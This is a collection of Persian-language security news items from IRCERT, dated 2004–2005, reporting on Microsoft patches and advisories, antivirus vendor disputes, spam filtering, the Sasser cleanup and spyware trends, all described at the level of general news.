بنابه گفته قائم مقام تیم پاسخگویی امنیتی McAfee، از هر 8 قطعه کد بسیار خطرناک ارائه شده، 3 قطعه مرتبط با حفره های امنیتی هستند که این تعداد در حال افزایش است چون از این طریق می توان کسب درآمد کرد. وی معتقد است که هکرها سعی دارند روشی هایی را بیابند که بتوانند کنترل یک کامپیوتر یا گروهی از کامپیوترها را به دست بگیرند و از آن کامپیوترها برای اسپم یا سرقت اطلاعات استفاده کنند.

در این گزارش همچنین به ادامه کاهش حجم کرمهای اینترنتی طی سه ماهه مذکور اشاره شده و Bagle، Netsky،‌و MyDoom به عنوان پرکارترین ویروسها در این مدت معرفی شده اند.

همچنین این گزارش امنیتی نشان می دهد که تعداد شکایات کاربران از برنامه های جاسوسی نیز افزایش یافته به گونه ای که از 5 میلیون مشتری رسمی شرکت McAfee، 1.5 میلیون شکایاتی را در این باره مطرح کرده اند.

تعداد حملات هویت ربایی و حمله به موبایلها نیز رشد فزاینده ای داشته است.


﻿ IRCERT - این یک اسب تروا نیست! - اخبارها و هشدارها

این یک اسب تروا نیست!

10 سپتامبر 2004 – 20 شهریور 1383

یک برنامه نویس استرالیایی قصد دارد تا از McAfee شکایت کند. علت آن است که برنامه McAfee‌در نسخ اخیر خود برنامه نوشته شده توسط این شخص را اشتباها به عنوان اسب تروا تشخیص می دهد.

مارک گریفیث می گوید علیرغم آن که McAfee در به روز رسانی جدید خود این اشتباه را رفع کرده است همچنان قصد دارد شکایتی را تنظیم و به دادگاه ارائه کند. گریفیث یک برنامه به نام ISPWizard را تولید کرده و در بیش از 20 کشور دنیا به ISP ها می فروشد تا کاربران از طریق آن به ISP خود متصل شوند و از اینترنت استفاده کنند. نرم افزار McAfee این نرم افزار را به عنوان اسب تروای BackDoor-AKZ شناسایی می کرد و به صورت خودکار آن را حذف می کرد و لذا کاربران نمی توانستند به اینترنت متصل شوند!

گریفیث می گوید که وی برای اولین بار در روز 2 سپتامبر و بوسیله ISP های آمریکا متوجه این اشتباه شده است. مشتریان این شرکتها به آنها اطلاع داده بودند که نمی توانند به اینترنت دسترسی داشته باشند. گریفیث به محض اطلاع از این مشکل ایمیلی را برای McAfee ارسال کرد اما تا دوشنبه گذشته ( 16 شهریورماه‌ ) پاسخی را از این شرکت دریافت نکرد.

گریفیت پیش بینی می کند که ضرری معادل 50% از درآمد در این ماه به خاطر این اشتباه به وی وارد شود. وی اضافه می کند که یکی از مشتریان وی 3 هزار دلار ضرر کرده است چون مشتریان وی به خاطر بروز این مشکل به ISP دیگری رجوع کرده اند.

آلان بل - مدیر بازاریابی منطقه آسیا پاسیفیک شرکت McAfee - گفته است که فایل به روز رسانی جدیدی که دیروز منتشر شده ، مشکل گریفیث را حل می کند. بل توضیح داده است که نرم افزار McAfee اسب تروا را بر اساس یک امضا یا الگو شناسایی می کند، لذا همیشه امکان بروز اشتباه وجود دارد.

بل همچنین اشاره کرده است که McAfee پردازه ای رایگان را برای برنامه نویسان تهیه کرده است تا از کارکرد برنامه خود اطمینان حاصل کنند. این پردازه از طریق تماس با دپارتمان پشتیبانی McAfee قابل دسترسی است.

اما گریفیث می گوید با وجود ارائه فایل DAT جدید، کاربرانی که سیستم خود را به روز نکرده اند، همچنان نمی توانند به اینترنت متصل شوند. وی اشاره می کند که این به روز رسانی تصمیم وی مبنی بر ارائه شکایت را تغییر نخواهد داد.


﻿ IRCERT - اتحاد بر علیه اسپم - اخبارها و هشدارها

اتحاد بر علیه اسپم

1 سپتامبر 2004 – 11 شهریور 1383

شرکت MessageLabs که خدمات امنیت ایمیل را ارائه می کند ،اعلام کرد که از فناوری فیلتر Brightmail متعلق به شرکت Symantec به عنوان بخشی از سرویس ضداسپم خود استفاده خواهد کرد. این شرکت اعلام کرده است که فناوری Brightmail به آنها کمک می کند تا یک دفاع چند لایه را در برابر اسپم ایجاد کنند.

مارک سانر - کارشناس ارشد فناوری MessageLabs – در این باره می گوید که استفاده از یک فناوری دیگر همیشه در برنامه های این شرکت وجود داشته و چندین سال درباره آن فکر شده است. وی می گوید:“ فناوری Brightmail مقابل دیتابیس ما قرار می گیرد و روش جامع تری را برای فیلتر کردن اسپم در اختیار ما قرار می دهد.“سانر معتقد است با این روش از یک طرف هزینه های افزوده این شرکت کاهش می یابد و از طرف دیگر به بازار نشان داده می شود که یک محصول و راه حل به تنهایی پاسخگو نیست و باید از روشهای چند لایه استفاده کرد. وی می گوید حتی شرکتهایی که در حال حاضر توانایی فیلتر کردن 90 درصد ایمیلهای اسپم را دارند ،بر روی یک بمب ساعتی نشسته اند چون با توجه به رشد بالای ترافیک ایمیل،این 10 درصد طی مدت کوتاهی خود تعداد زیادی ایمیل را شامل خواهد شد.

وی اشاره می کند:“ ما به دنبال آن هستیم که به کارکرد 98 درصد برسیم.“ از طرف دیگر آمار منتشر شده از سوی Symantec درباره رشد میزان اسپم، ارزش دستیابی به فیلترهایی با درصد بالایی از کارکرد را روشن می کند. انریک سالم - قائم مقام بخش راهکارهای شبکه شرکت Symantec - در این باره می گوید که در سال 2001 اسپم 8 درصد کل ایمیلها را تشکیل می داد در حالی که این نسبت در حال حاضر به 65 درصد رسیده است. سالم معتقد است که فیلتر کردن تنها راه مقابله با اسپمهاست و حتی تغییرات بنیادی در پروتکل ایمیل نمی تواند این مشکل را حل کند.

مارک سانر گفته است که MessageLabs انتظار دارد که بتواند فناوری Brightmail را طی سه ماهه چهارم ارائه کند.

Symantec این فناوری را اوایل امسال به قیمت 370 میلیون دلار بدست آورده است.


﻿ IRCERT - اخبار و هشدارها- Sasser پنج میلیون نفر، دریافت کننده نرم افزار پاک کردن

5 میلیون نفر نرم افزار پاک کردن Sasser را دریافت کردند

5 مه – 16 اردیبهشت

حدود 1.5 میلیون نفر از مشتریان ویندوز در دو روز بعد از عرضه ابزار پاک کردن Sasser توسط مایکروسافت، به سایت این شرکت مراجعه کرده و این ابزار را دریافت کرده اند. این تعداد یکی از نشانه های تعداد کامپیوترهای آلوده به این ویروس است ، عددی که بسیار بزرگتر از گمانها و حدسهای پیشین بوده است. البته تعداد دستگاههای آلوده قطعا بیش از این مقدار است.

گزارشهای اولیه موسسه SANS تعداد سیستمهای آلوده را صدها هزار اعلام کرده بود. طی روزهای بعدی نیز بنابر آمار تهیه شده از سنسورهای تشخیص نفوذ اعداد مختلفی ارائه شد. برآوردهای انجام شده توسط شرکت Akamai Technologies تعداد ماشینهای آلوده دارای سیستم عامل ویندوز را 500 تا 700 هزار اعلام کرده بود. شرکت ضدویروس Symantec نیز اعلام کرده است که 10 هزار کامپیوتر قربانی را می داند اما تعداد کل را صدها هزار برآورد می کند. برخی گزارشها نیز بنابر تعداد IP های یکتایی که در حال اسکن کردن پورت 445 ( پورت مورد استفاده Sasser) منتشر شده بود که آما را 500 تا 700 هزار دانسته بود.

گ زارشها حاکی است که کاربران برای دریافت ابزار مذکور ترافیک سنگینی را روی سایت مایکروسافت ایجاد کرده اند.


﻿ IRCERT - مایکروسافت:‌ مشکل مهمی نیست - اخبارها و هشدارها

مایکروسافت:‌ مشکل مهمی نیست

18 مه 2005 - 28 اردیبهشت 1384

امروز مایکروسافت طی یک راهنمایی امنیتی به گزارشهای ارائه شده درباره حفره ای در ویندوز که امکان حملات DoS را ایجاد می کند، پاسخ داد.

مایکروسافت در این راهنمایی امنیتی گفته است که این مشکل با اصلاحیه ای که در ماه مارس منتشر شده رفع می شود و سیستمهایی که سیستم عامل آنها ویندوز XP همراه با SP2 است و یا از ویندوز سرور با SP1 بهره می گیرند، در معرض خطر نیستند.

این راهنمایی امنیتی،‌ یکی از اولین راهنمایی ها در چارچوب برنامه جدید مایکروسافت است. این سرویس قرار است گزارشات منتشر شده درباره مشکلات امنیتی را تایید کند و راهکارهایی را به کاربران برای رفع این مشکلات ارائه کند.

مایکروسافت با ارائه این راهنمایی امنیتی به گزارشاتی پاسخ داد که توسط تیم پاسخگویی امنیتی فرانسه (FrSIRT) درباره مشکل موجود در پیاده سازی پروتکل TCP/IP منتشر کرده بود.

مایکروسافت تایید می کند که یک هکر می تواند با سوء ‌استفاده از این حفره ارتباط شبکه را منقطع کند اما آن را تهدیدی جدی برای امنیت اینترنت نمی داند.


﻿ IRCERT - مایکروسافت مکافی را می خرد؟ - اخبارها و هشدارها

مایکروسافت McAfee را می خرد؟

1 جولای 2004 – 11 تیر 1383

مایکروسافت سعی دارد تاحدسها و فرضیاتی را که درباره قصد این شرکت مبنی بر بدست گرفتن بازار ضدویروسها وجود دارد ، تعدیل کند. در ماه گذشته ، یکی از شایعات مهم موضوع خرید شرکت Network Associates ، تولیدکننده McAfee ، توسط مایکروسافت بود.

استیون آدلر – یکی از متخصصان ارشد امنیتی مایکروسافت – طی کنفرانسی در اروپا در این هفته اعلام کرد که برنامه های این شرکت برای تولید ضدویروس هنوز در مراحل ابتدایی است. وی با اشاره به خرید ضدویروس GeCAD درسال گذشته گفت:“ ما هنوز درحال کار روی مجتمع سازی آن فناوری هستیم. ضمنا از آنجایی که نمی خواهیم تاثیر منفی بر تجارت فعالان این بازار بگذاریم ، با شرکتهای تولیدکننده ضدویروس از نزدیک کار خواهیم کرد.“

وی توضیح مستقیمی درباره شایعه خرید Network Associates ارائه نکرد اما گفت که مایکروسافت قصد ندارد تا به سرعت این بازار را بدست آورد. از طرف دیگر وی اشاره کرد که مایکروسافت در برنامه لآتی خود برای تولید ضدویروس به شراکت فکر می کند.

آدلر افزود:“ ما می خواهیم مطمئن شویم که هر سیستم دارای یک راهکار برای مقابله با ویروسهاست. این محصول متعلق به مایکروسافت باشد یا یک شرکت دیگر باید سطح اولیه امنیت و حفاظت را تامین کند.“

همچنین اوایل این هفته ، مایکروسافت اعلام کرده بود که Service Pack 2 ارائه شده برای ویندوز XP ، یک موفقیت برای متخصصان امنیت به شمار خواهد آمد.


﻿ IRCERT - بازهم مایکروسافت و هفت مشکل امنیتی - اخبارها و هشدارها

بازهم مایکروسافت و 7 مشکل امنیتی

13 جولای 2004 – 23 تیر 1383

امروز مایکروسافت اعلام کرد که برای هفت مشکل امنیتی به روزرسانی ارائه کرده است. مایکروسافت اشاره کرده که دو مشکل از هفت مشکل مذکور از اهمیت بالایی برخوردار هستند و اصطلاحا درجه خطر آنها Critical است.

همچنین مایکروسافت ابزاری را برای پاک کردن سیستمهای آلوده به Download.Ject ارائه کرده است. پیش از این نیز این شرکت پیشنهادی را برای جلوگیری از آلودگی در فالب تغییر پیکربندی ارائه کرده بود اما هنوز اصلاحیه امنیتی مربوط به آن عرضه نشده است.

شرکت امنیتی Symantec گفته است که حفره های جدید کشف شده از درجه خطر بالایی برخودارند. در بیانیه این شرکت آمده است :“ این حفره ها را می توان برای نفوذ از راه دور به کار گرفت و لذا امکان انجام حملات DoS و در نتیجه از بین رفتن داده های محرمانه وجود دارد. “ این شرکت به کاربران توصیه کرده است تا هرچه سریعتر اصلاحیه های امنیتی این حفره ها را دریافت و نصب کنند.

همانطور که اشاره شد، دو مشکل از هفت مشکل مذکور از اهمیت بالایی برخوردار هستند و مایکروسافت برای به روز رسانی امنیتی ارائه شده بالاترین درجه امنیتی را در نظر گرفته است. حفره های امنیتی دارای این درجه امکان انتشار یک کرم اینترنتی را بدون دخالت کاربر پدید می آورند.

اولین مشکل امنیتی وجود یک حفره در Task Scheduler است. این برنامه از منابع خارجی داده می پذیرد،‌ اما بافر خود را کنترل نمی کند تا از اعتبار داده وارد شده اطمینان حاصل کند.

مایکروسافت گفته است که اگر کاربری با اختیارات مدیر ( Administrator‌) وارد یک کامپیوتر شود، درصورتی که هکر از این حفره استفاده کند می تواند اختیار و کنترل کامل سیستم را در دست بگیرد. مثلا می تواند برنامه نصب کند ، داده ها را حذف کند و یا کاربران جدیدی را با اختیارات کامل ایجاد کند. مایکروسافت اشاره کرده است که کاربرانی که اکانت آنها دارای اختیارات کمتری است کمتر در معرض خطر قرار دارند.

بنا به گفته Symantec در یک سناریوی حمله مبتنی بر وب ، هکر باید سایتی را میزبانی کند که دارای صفحه ای برای نفوذ از طریق این حفره باشد. همچنین هکر باید کاربر را قانع کند تا آن صفحه را ببیند و بوسیله یک لینک آنها را به سایت خود راهنمایی کند.

مایکروسافت دومین به روزرسانی امنیتی مهم را در HTML Help و showHelp دانسته است. در این مورد هم اشاره شده که اگر اگر کاربری با اختیارات مدیر وارد یک کامپیوتر شود، درصورتی که هکر از این حفره استفاده کند می تواند کنترل کامل سیستم را در دست بگیرد.

همچنین مایکروسافت اشاره کرده است که چهار به روزرسانی امنیتی دیگر از درجه اهمیت important برخوردارند که دومین درجه پس از Critical به حساب می آید. آخرین مورد به روزرسانی نیز دارای درجه moderate است.


﻿ IRCERT - انتشار پادزهر برای نشانی های مسموم - اخبارها و هشدارها

انتشار پادزهر برای URL های مسموم

7 آوریل 2005 - 18 فروردین 1384

مایکروسافت در پاسخ به تهدیدات جدی امنیتی راهنمایی های خود را به روز کرده است تا نرم افزار سرور را در برابر حملات مسموم کننده DNS cache محافظت کند.

مایکروسافت دیروز درباره تنظیمات پیشنهادی برای محصولات سرور ویندوز تجدید نظر کرد و اعلام کرد که پیکربندی پیش فرض می تواند سیستم را در برابر تهدیدات مسموم سازی DNS بی دفاع بگذارد. این به روز رسانی در پی انتشار گزارشی از سوی ISC انجام شد.

مسموم سازی DNS cache یا هک کردن سرورهای DNS و جایگزینی نشانی عددی سایتهای قانونی با نشانی سایتهای خطرناک انجام می شود. این کار باعث می شود که کاربران به سایتهای قلابی هدایت شوند و اطلاعات حساسی از آنها دریافت شود و یا نرم افزار جاسوسی روی سیستم آنها نصب شود.

اولین دوره این حملات در اوایل ماه مارس اتفاق افتاد و در اواخر این ماه نیز حملات تکرار شد.

به گفته متخصصان با تحلیلهای انجام شده هکرها سعی دارند تا روشها و ابزارهای خود را روی سرورهایی متمرکز کنند که تنظیمات خود را به روز نمی کنند.

مایکروسافت در راهنمایی امنیتی خود گفته که این مشکل نسخ مختلف Windows Server 2003، Windows 2000 Server و Windows NT Server 4.0 را تحت تاثیر قرار می دهد. سرورهایی که PS را نصب کرده اند و یا پس از انتشار اصلاحیه خریداری شده اند، در برابر حملات مصون هستند.


﻿ IRCERT - اخبار و هشدارها - IE شکار مایکروسافت با یک حفره قدیمی در

شکار مایکروسافت با یک حفره قدیمی در IE

30 ژوئن 2004 – 10 تیر 1383

یک مشکل امنیتی که در نسخ قبلی IE رفع شده بود ، دوباره در آخرین نسخه این نرم افزار دیده شده است. شرکت امنیتی Secunia طی هشداری اعلام کرده است که مشکل امنیتی موجود در نسخ 3 و 4 این نرم افزار که 6 سال پیش مرتفع شده بود، مجددا ‌در نسخه های 5.01 ، 5.5 و 6.0 وجود دارد.

سری جدید حفره های امنیتی که در IE پیدا شده ، مایکروسافت را به ستوه آورده است. با کمک آخرین حفره کشف شده ، برنامه ای برای سرقت کلمات عبود بانکی کاربران روی سیستمها نصب می شد. تعداد این حفره ها ب قدری زیاد شده است که بعضی کارشناسان امنیتی به کاربران توصیه می کنند تا مرورگر دیگری را به کار بگیرند. همچنین گروه امداد امنیت کامپیوتری آمریکا( US CERT ) به مدیران امنیتی توصیه کرده است تا یک مرورگر غیر مایکروسافتی را انتخاب کنند.

بنابر آخرین بولتن امنیتی منتشر شده ، حفره کشف شده می تواند کاربرانی را که چند پنجره IE باز کرده اند، تحت تاثیر قرار دهد. هکرها می توانند از طریق یکی از این پنجره ها و بدون آن که کاربر متوجه شود ، محتوای یک وب سایت دییگر را تغییر دهند. هکرها می توانند با استفاده از این روش لینکهایی را در صفحات واقعی و قانونی وارد کنند و از آن طریق کاربران را به سایتهای خطرناک راهنمایی کنند تا در آنجا اطلاعات مورد نیاز خود مانند اطلاعات بانکی یا کارت اعتباری را از کاربران دریافت کنند. از آنجایی که لینک از یک سایت قانونی و مورد اعتماد به کاربر ارائه می شود ،‌ قربانی متوجه نمی شود که به یک سایت خطرناک برده شده است. کارشناسان می گویند مشکل عمده از آنجا ناشی می شود که بتدریج ;اربران به آنچه در مرورگر می بینند اعتماد نخواهند کرد.


﻿ IRCERT - کرم نبود ، اسب تروا بود - اخبارها و هشدارها

کرم نبود، اسب تروا بود

28 آوریل – 9 اردیبهشت

امروز شرکت ضدویروس Symantec اعلام کرد که ادعای دیروز این شرکت مبنی بر یافتن یک کرم اینترنتی جدید که از یک حفره امنیتی در ویندوز استفاده می کند، اشتباه بوده است. روز گذشته این شرکت کد خطرناکی با نام backdoor.mipsiv را یافته بود و به مشتریان خود اخطار داده بود که این کد یا یک کرم جدید است یا یک برنامه کوچک خودکار (bot) است که از حفره موجود در پیاده سازی SSL در ویندوز استفاده می کند. این حفره که در Private Communications Transport Protocol (PCT) وجود دارد، اخیرا کشف شده است. اما امروز Symantec اعلام کرد که بررسی بیشتر کد مشخص کرده است که این کد کرم یا bot نیست و از حفره موجود در PCT نیز استفاده نمی کند. ظاهرا این کد یک اسب تروا است. بنابر تحقیقات انجام شده Mipsiv توسط هکرها روی رایانه ها قرار می گیرد و سپس پورتهای ارتباطی را باز می کند و از کانالهای IRC ( Internet Relay Chat ) برای ارسال دستورات استفاده می کند. مدیر ارشد محصولات امنیتی شرکت Symantec معتقد است که این برنامه خود را توزیع نمی کند و خصوصیات یک کرم اینترنتی را ندارد و لزوما باید توسط یک هکر روی یک رایانه قرار گیرد.

هکرها با استفاده از حفره PCT ، این اسب تروا را روی سیستم قربانی قرار می دادند و سپس Mipsivا ز طریق پورت 443 که توسط PCT مورد استفاده قرار می گیرد ، با اینترنت ارتباط برقرار می کند.

مایکروسافت درباره حفره موجود در PCT در روز 13 آوریل هشدار داده بود و یک اصلاحیه امنیتی ارائه نموده بود. بنابر راهنمایی امنیتی MS04-011 یک هکر می تواند با استفاده از این حفره کنترل کامل سیستم قربانی را بدست بگیرد. مایکروسافت در سایت خود شیوه مقابله با حمله کنندگان به این حفره را نیز ارائه کرده است.

در روزهای اخیر بسیاری از متخصصان امنیتی درباره سوء استفاده از این حفره هشدار داده اند. شرکت Symantec معتقد است در آینده نزدیک یک کرم یا bot با کمک این حفره منتشر خواهد شد.


﻿ IRCERT - نرم افزار ضدجاسوسی مایکروسافت - اخبارها و هشدارها

نرم افزار ضدجاسوسی مایکروسافت

6 ژانویه 2005 - 17 دی 1383

امروز مایکروسافت نسخه بتای نرم افزار ضدجاسوسی خود را ارائه کرد.این شرکت مدعی است که کاربران با استفاده از این ابزار با مشکلات کمتری بر روی اینترنت موجه خواهند شد و سرعت کامپیوتر آنها نیز افزایش خواهد یافت.

این نسخه که از روی سایت شرکت مایکروسافت قابل دریافت است، با استفاده از فناوری شرکت Giant Software که در ماه دسامبر به تملک مایکروسافت درآمد و در تولید ابزارهای ضدجاسوسی تخصص داشته، تولید شده است. به گفته مایکروسافت این نرم افزار در حال حاضر بسیاری از ابزارهای جاسوسی فعلی را شناسایی می کند و مایکروسافت سعی خواهد کرد تا با انجام تحقیقات بر روی ابزارهای جاسوسی جدید و مهم، امکان به روز رسانی خودکار این نرم افزار را فراهم آورد.

مایکروسافت هنوز درباره زمان عرضه رسمی این محصول چگونگی آن ( به عنوان یک محصول مجزا یا در کنار یک محصول دیگر) تصمیم گیری نکرده است. یکی از مدیران مایکروسافت علت عرضه نسخه بتا را حفاظت از مشتریان و مقابله با هکرها عنوان کرده است. وی مدعی است مطابق با گزارشهایی که دریافت کرده اند، یک سوم کسانی که با محصولات مایکروسافت مشکل دارند، به دلیل وجود نرم افزارهای جاسوسی است.

ظاهر نرم افزار ضدجاسوسی مایکروسافت شبیه محصولات شرکتهای McAfee و نورتون است که امکان اجرای اسکن دستی و خودکار را به کاربر می دهد. این نرم افزار به گونه ای طراحی شده که بر تمامی تغییرات سیستمی و نرم افزاری یک کامپیوتر خاص نظارت می کند و درصورت شناسایی یک ابزار جاسوسی که قصد دارد روی کامپیوتر نصب شود، به کاربر هشدار می دهد. این نرم افزار با سیستم عاملهای ویندوز 2000 و XP کار می کند.

مایکروسافت به کاربران فعلی ابزارهای Giant اعلام کرده است که به استفاده از آن ابزارها ادامه دهند. این شرکت همچنینی نسخه فعلی را یک نسخه اولیه و دلیل عرضه سریع آن را دریافت بازخورد و با هدف تست دانسته است.

مایکروسافت در حال کار بر روی یک بسته نرم افزاری ضدویروس نیز است که به نظر می رسد به عنوان یک برنامه مجزا ارائه خواهد شد. گفته می شود که این ابزار در نیمه دوم سال جاری میلادی ارائه خواهد شد.

علاوه بر این محصولات، مایکروسافت قول داده است ابزارهایی را برای یافتن و پاک کردن برنامه های خطرناک از روی کامپیوترهایی که سیستم عامل 2000 و یا جدیدتر دارند، ارائه کند و آنها را در برنامه ماهیانه اش، به روز رسانی کند.


﻿ IRCERT - مایکروسافت ویروس کش عرضه خواهد کرد - اخبارها و هشدارها

مایکروسافت ویروس کش عرضه خواهد کرد

15 ژوئن 2004 – 26 خرداد 1383

امروز اعلام شد که مایکروسافت قصد دارد تا خدمات ضدویروس را در آینده نزدیک ارائه کند اما طرح های آن هنوز نهایی نشده است.

امی کارول - مسئول مدیریت تولید واحد Security Business and Technology در شرکت مایکروسافت – در این باره می گوید:“ ما قصد داریم ضدویروس را به عنوان بخشی از محصولات خود و به صورت پولی ارائه کنیم ، اما هنوز برنامه مشخصی برای تولید یک محصول نداریم.“

تقریبا یکسال پیش بود که مایکروسافت با خرید شرکت رومانیایی ضدویروس GeCAD برای اولین بار این ذهنیت را برای کارشناسان ایجاد کرد که غول نرم افزار دنیا قصد دارد تا این عرصه را نیز در اختیار بگیرد.

در حالی که گفته می شود مایکروسافت هنوز طرح مشخصی برای تولید محصول ندارد ، کارول اعلام کرده است که مایکروسافت از GeCAD سود می برد. دو ابزاری که برای مقابله با MSBlast و Sasser ارائه شدند با کمک کارکنان GeCAD تولید شده بودند. وی می گوید :“ تجربه آنها به ما کمک شایانی کرد تا بتوانیم آن ابزارها را ایجاد کنیم.“

هر محصول ضدویروسی که به بازار وارد شود به عنوان رقیبی برای McAfee از Network Associates و نرم افزار ضدویروس Norton از شرکت Symantec خواهد بود.


﻿ IRCERT - حفره امنیتی ندارد! - اخبارها و هشدارها Media Player

Media Player حفره امنیتی ندارد!

14 ژانویه 2005 - 25 دی 1383

متخصصان امنیتی هشدار داده اند که یک مجموعه فایلهای ویدئویی که روی شبکه های p2p قرار گرفته، با استفاده از ابزارهای ضدسرقت مایکروسافت بینندگان را فریب می دهد تا ابزارهای جاسوسی را دریافت کنند.

اوایل این هفته شرکت امنیتی Panda هشدار داد که بسیاری از ابزار مدیریت حقوق دیجیتال ( DRM ) در Media Player‌استفاده می کنند تا کاربران را فریب دهند و آنها را به دریافت برنامه های جاسوسی و ویروسها مجاب کنند.

روز جمعه مایکروسافت پاسخ داد که مشکلات امنیتی موجود به خاطر وجود حفره در ابزار DRM این شرکت نیست. توزیع کنندگان محتوا می توانند از Media Player استفاده کنند و یک صفحه وب را به شکل pop up برای ارائه اطلاعات مرتبط با ویدئو یا موسیقی مورد نظر باز کنند و همین صفحه است که می تواند برای قرار دادن مکانیزمهای دریافت خودکار برنامه های جاسوسی مورد استفاده قرار گیرد.

سخنگوی مایکروسافت اعلام کرده است که سیستمهایی که SP2 را نصب کرده باشند ، دریافت فایل به صورت خودکار را بلوکه می کنند. همچنین وی به کاربرانی که از نسخ قدیمی ویندوز استفاده می کنند توصیه کرده است که تنظیمات امنیتی مرورگر IE را در سیستم خود به سطح high افزایش دهند. مایکروسافت معتقد است از آنجایی که کاربر را نمی توان به اجرای برنامه خطرناک مجبور کرد لذا این مشکل یک حفره امنیتی در DRM به شمار نمی رود. این اولین بار است که از DRM برای چنین هدفی استفاده می شود.

شرکت پاندا طی یک راهنمایی امنیتی اعلام کرده است که دو نسخه از فایلهای خطرناک توزیع شده اند. زمانی که کاربر به اینترنت متصل شود، آنها پیام "Thanks for downloading this file. Click Play to listen." را نمایش می دهند. اگر کاربر از طریق سایت کلیک کند، برنامه جاسوسی به طور خودکار دریافت می شود.

به گفته سخنگوی مایکروسافت ، این شرکت قصد دارد اصلاحیه ای برای Media Player ارائه کند که به فایلهای صوتی و تصویری اجازه باز کردن خودکار صفحه وب pop up را نمی دهد و تنها با اجازه کاربر این کار انجام خواهد شد.


﻿ IRCERT - مایکروسافت: مشکلات امنیتی فایرفاکس سودی برای ما ندارد - اخبارها و هشدارها

مایکروسافت: مشکلات امنیتی فایرفاکس سودی برای ما ندارد

7 اکتبر 2005 – 15 مهر 1384

مایکروسافت مدعی است با وجودی که فایرفاکس یک رقیب برای مرورگر این شرکت است، اما پیدا شدن تعداد زیادی مشکل امنیتی در این مرورگر، چیزی عاید مایکروسافت نکرده است.

بنیاد موزیلا در ماه نوامبر گذشته مرورگر فایرفاکس را با این ادعا وارد بازار کرد که کاربران با جایگزین کردن این مرورگر به جای IE می توانند محیط امن تری داشته باشند.

اما با رشد محبوبیت فایرفاکس – این مرورگر طی 6 ماهه اول ارائه خود توانسته است بیش از 5 درصد بازار مرورگر را در اختیار بگیرد.- تعداد زیادی مشکل امنیتی نیز در آن پیدا شده است.

ماه گذشته شرکت Symantec طی گزارشی مدعی شد که مرورگرهای موزیلا از IE امنیت کمتری دارند.

پیتر واتسون – مشاور ارشد امنیتی مایکروسافت در استرالیا و نیوزلند – طی مصاحبه ای در این باره می گوید :“ با ورود هر فناوری جدید، شخصی سعی می کند تا به آن با اهداف غیرقانونی نفوذ کند.“ وی توضیح می دهد که هدف مایکروسافت، کمک به سخت یک بستر امن و قابل اعتماد برای خود و فناوری های رقیب است.

اما متخصصان امنیتی از این اظهار نظر ابزار شگفتی می کنند. آنها می گویند که امنیت موضوع مورد علاقه مایکروسافت نیست و درحال حاضر مجبور شده است میلیونها دلار خرج این مبحث کند. آنها دلیل عدم ابزار خوشحالی مایکروسافت را تلاش برای جلوگیری از مغرور شدن می دانند.


﻿ IRCERT - طرحی برای امنیت کاربران - اخبارها و هشدارها NAP

NAP ، طرحی برای امنیت کاربران

13 دسامبر 2004- 23 آذر 1383

مایکروسافت گام بعدی را برای ایجاد معماری امنیتی کاربران انتهایی برداشت.

امروز تعدادی از شرکتها اعلام کردند که با معماری امنیتی NAP ( Network Access Protection ) متعلق به مایکروسافت همکاری خواهند کرد. 18 شرکت از ماه جولای با مایکروسافت دراین زمینه توافقنامه امضا کرده اند و 25 شرکت نیز قول همکاری داده اند.

مایکروسافت NAP را طراحی کرده است تا به مشتریان شرکتها کمک کند تا با کنترل کامل تجهیزات و سیستمها پیش از اتصال به شبکه، ویروسها و کرمهای اینترنتی را از شبکه های خود دور نگه دارند. این عملیات شامل ترکیبی از فناوری اسکن ویروسها با شبکه سازی مبتنی بر سیاستهای امنیتی است و بدین طریق از اتصال سیستمهایی که از سیاستهای امنیتی تبعیت نکنند، جلوگیری می شود.

مایکروسافت از ابتدا اعلام کرده بود که همزمان با کار بر روی این معماری امنیتی باز مبتنی بر استانداردها، شرکای جدیدی را به این پروژه اضافه خواهد کرد.

بسیاری از شرکتهای جدیدی که به این طرح پیوسته اند، تولیدکنندگان محصولات شبکه خصوصی مجازی یا VPN هستند که از جمله آنها می توان به Check Point ، Nortel Networks و F5 Netwroks اشاره کرد.

استیو اندرسون - مدیر بازاریابی سرورهای ویندوز - می گوید:“ همکاری تولیدکنندگان و فروشندگان VPN در این طرح بسیار مهم است، چون بسیاری از حملات از طریق هکرها از راه دور صورت می پذیرد و این این هکرها از طریق VPN به شبکه متصل می شوند. ما می خواهیم مشتریان بدون نیاز به تغییر فناوری مورد استفاده جهت VPN، بتوانند امنیت لازم را داشته باشند.“

د ر ماه نوامبر اعلام شده بود که شرکت سیسکو در پروژه NAP با مایکروسافت همکاری خواهد کرد. NAP تا سال 2007 یعنی زمان انتشار سرور Longhorn ارائه نخواهد شد.


﻿ IRCERT - اصلاحیه مایکروسافت برای دو حفره جدید - اخبارها و هشدارها

اصلاحیه مایکروسافت برای دو حفره جدید

8 ژوئن – 19 خرداد

امروز شرکت مایکروسافت دو اصلاحیه امنیتی جدید را برای پوشاندن دو حفره امنیتی ارائه کرد. یکی از این دو حفره در بخش بازی کردن آنلاین و دیگری در یک برنامه طرف سوم قرار دارد که مایکروسافت از هر دو امکان در برنامه های مختلف خود استفاده کرده است.

شبکه بازی DirectPlay در DirectX این امکان را برای کاربران فراهم می آورد تا برای خود روی شبکه اینترنت همبازی پیدا کنند. اما به علت یک مشکل امنیتی در این بخش ،‌ یک هکر می تواند ارتباط را قطع کند و باعث اختلال در اجرای بازی شود. اصلاحیه اول ارائه شده این مشکل را مرتفع می کند.

از طرف دیگر مایکروسافت از محصولی به نام Crystal Reports Web Viewer در بسیاری از محصولات اصلی خود همانند Visual Studio .Net 2003 ،

Outlook 2003 with Business Contact Manager وMicrosoft Business Solutions CRM 1.2 استفاده می کند. حفره موجود در این حفره به یک هکر اجازه می دهد تا یک حمله DoS انجام دهد یا به اطلاعات موجود روی کامپیوتر دسترسی پیدا کند. مایکروسافت درجه خطر این دو حفره را moderate اعلام کرده که از کمترین سطح خطر یک درجه بالاتر است.

استفان تولوز – یکی از مدیران امنیتی مایکروسافت – می گوید :‌" با وجودی که مشکل در نرم افزاری وجود دارد که ما ننوشته ایم اما مایکروسافت آن را به کار گرفته و عرضه کرده است پس ما مشکل آن را رفع می کنیم."

دو حفره امنیتی یاد شده نمی تواند توسط هکرها برای به دست گرفتن کنترل کامپیوترها مورد استفاده قرار گیرد، لذا نمی تواند توسط یک نویسنده ویروس به کار گرفته شود و ویروسی مانند ساسر منتشر شود.

